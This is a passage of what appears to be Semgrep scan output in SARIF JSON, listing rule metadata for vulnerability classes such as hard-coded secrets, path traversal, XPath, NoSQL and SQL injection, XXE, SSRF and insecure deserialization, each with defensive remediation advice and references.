and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","id":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","name":"swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.blowfish-hardcoded-secret.blowfish-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"help":{"markdown":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse)\n - [https://pkg.go.dev/path#Clean](https://pkg.go.dev/path#Clean)\n - [http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html](http://technosophos.com/2016/03/31/go-quickly-cleaning-filepaths.html)\n - [https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/](https://labs.detectify.com/2021/12/15/zero-day-path-traversal-grafana/)\n - [https://dzx.cz/2021/04/02/go_path_traversal/](https://dzx.cz/2021/04/02/go_path_traversal/)\n - [https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme](https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme)\n","text":"`Clean` is not intended to sanitize against path traversal attacks. This function is for finding the shortest path name equivalent to the given input. Using `Clean` to sanitize file reads may expose this application to path traversal attacks, where an attacker could access arbitrary files on the server. To fix this easily, write this: `filepath.FromSlash(path.Clean(\"/\"+strings.Trim(req.URL.Path, \"/\")))` However, a better solution is using the `SecureJoin` function in the package `filepath-securejoin`. See https://pkg.go.dev/github.com/cyphar/filepath-securejoin#section-readme."},"helpUri":"https://semgrep.dev/r/go.lang.security.filepath-clean-misuse.filepath-clean-misuse","id":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","name":"go.lang.security.filepath-clean-misuse.filepath-clean-misuse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.filepath-clean-misuse.filepath-clean-misuse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_Security_Cheat_Sheet.html)\n - [https://docs.python.org/3/library/xml.html#xml-vulnerabilities](https://docs.python.org/3/library/xml.html#xml-vulnerabilities)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n - [https://pypi.org/project/defusedxml/](https://pypi.org/project/defusedxml/)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can. The xml parsing library are safe from several known high-impact vulnerabilities such as external entity expansion and DTD retrieval. However, search queries in the XML documents are still vulnerable to XPath injection attacks."},"helpUri":"https://semgrep.dev/r/python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","id":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","name":"python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.xml.tainted-flask-xml-xpath-stdlib.tainted-flask-xml-xpath-stdlib"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.6-Testing_for_NoSQL_Injection)\n - [https://portswigger.net/web-security/nosql-injection](https://portswigger.net/web-security/nosql-injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongodb-where-express.mongodb-where-express","id":"javascript.express.db.mongodb-where-express.mongodb-where-express","name":"javascript.express.db.mongodb-where-express.mongodb-where-express","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongodb-where-express.mongodb-where-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","id":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","name":"cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.libxml2.security.libxml2-expand-xinclude.libxml2-expand-xinclude"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.redis.python-redis-empty-password.python-redis-empty-password","id":"python.redis.python-redis-empty-password.python-redis-empty-password","name":"python.redis.python-redis-empty-password.python-redis-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.redis.python-redis-empty-password.python-redis-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"help":{"markdown":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html)\n","text":"Mass assignment detected. This can result in assignment to model fields that are unintended and can be exploited by an attacker. Instead of using '**request.$W', assign each field you want to edit individually to prevent mass assignment. You can read more about mass assignment at https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.mass-assignment.mass-assignment","id":"python.django.security.injection.mass-assignment.mass-assignment","name":"python.django.security.injection.mass-assignment.mass-assignment","properties":{"precision":"very-high","tags":["CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.mass-assignment.mass-assignment"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"help":{"markdown":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests)\n - [https://owasp.org/www-community/attacks/Server_Side_Request_Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)\n","text":"Data from request object is passed to a new server-side request. This could lead to a server-side request forgery (SSRF). To mitigate, ensure that schemes and hosts are validated against an allowlist, do not forward the response to the user, and ensure proper authentication and transport-layer security in the proxied request."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.ssrf-requests.ssrf-requests","id":"python.flask.security.injection.ssrf-requests.ssrf-requests","name":"python.flask.security.injection.ssrf-requests.ssrf-requests","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.ssrf-requests.ssrf-requests"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"help":{"markdown":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges)\n - [https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py](https://github.com/bridgecrewio/checkov/blob/master/checkov/terraform/checks/data/aws/AdminPolicyDocument.py)\n","text":"IAM policies that allow full \"*-*\" admin privileges violates the principle of least privilege. This allows an attacker to take full control over all AWS account resources. Instead, give each user more fine-grained control with only the privileges they need. $TYPE"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","id":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","name":"terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges","properties":{"precision":"very-high","tags":["CWE-269: Improper Privilege Management","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-admin-privileges.no-iam-admin-privileges"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"help":{"markdown":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function)\n - [https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers](https://wiki.sei.cmu.edu/confluence/display/c/EXP34-C.+Do+not+dereference+null+pointers)\n","text":"The `$SOURCE` function returns NULL on error and this line dereferences the return value without checking for NULL."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.memory.null-deref.null-library-function.null-library-function","id":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","name":"cpp.lang.security.memory.null-deref.null-library-function.null-library-function","properties":{"precision":"very-high","tags":["CWE-476: NULL Pointer Dereference","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.memory.null-deref.null-library-function.null-library-function"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","id":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","name":"kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.jedis.jedis-hardcoded-pool.jedis-hardcoded-pool"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","id":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","name":"python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymysql.python-pymysql-hardcoded-secret.python-pymysql-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"help":{"markdown":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization)\n - [https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks](https://www.newtonsoft.com/json/help/html/T_Newtonsoft_Json_TypeNameHandling.htm#remarks)\n","text":"TypeNameHandling $TYPEHANDLER is unsafe and can lead to arbitrary code execution in the context of the process. Use a custom SerializationBinder whenever using a setting other than TypeNameHandling.None."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","id":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","name":"csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.newtonsoft.insecure-newtonsoft-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"help":{"markdown":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.netdatacontractserializer?view=netframework-4.8#security)\n","text":"The NetDataContractSerializer type is dangerous and is not recommended for data processing. Applications should stop using NetDataContractSerializer as soon as possible, even if they believe the data they're processing to be trustworthy. NetDataContractSerializer is insecure and can't be made secure"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","id":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","name":"csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.net-data-contract.insecure-netdatacontract-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"help":{"markdown":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://cwe.mitre.org/data/definitions/93.html](https://cwe.mitre.org/data/definitions/93.html)\n - [https://owasp.org/www-community/attacks/Log_Injection](https://owasp.org/www-community/attacks/Log_Injection)\n","text":"When data from an untrusted source is put into a logger and not neutralized correctly, an attacker could forge log entries or include malicious content."},"helpUri":"https://semgrep.dev/r/java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","id":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","name":"java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.crlf-injection-logs-deepsemgrep.crlf-injection-logs-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","id":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","name":"go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-go-vanillasql-format-string-sqli-taint-med-conf.gorilla-go-vanillasql-format-string-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in 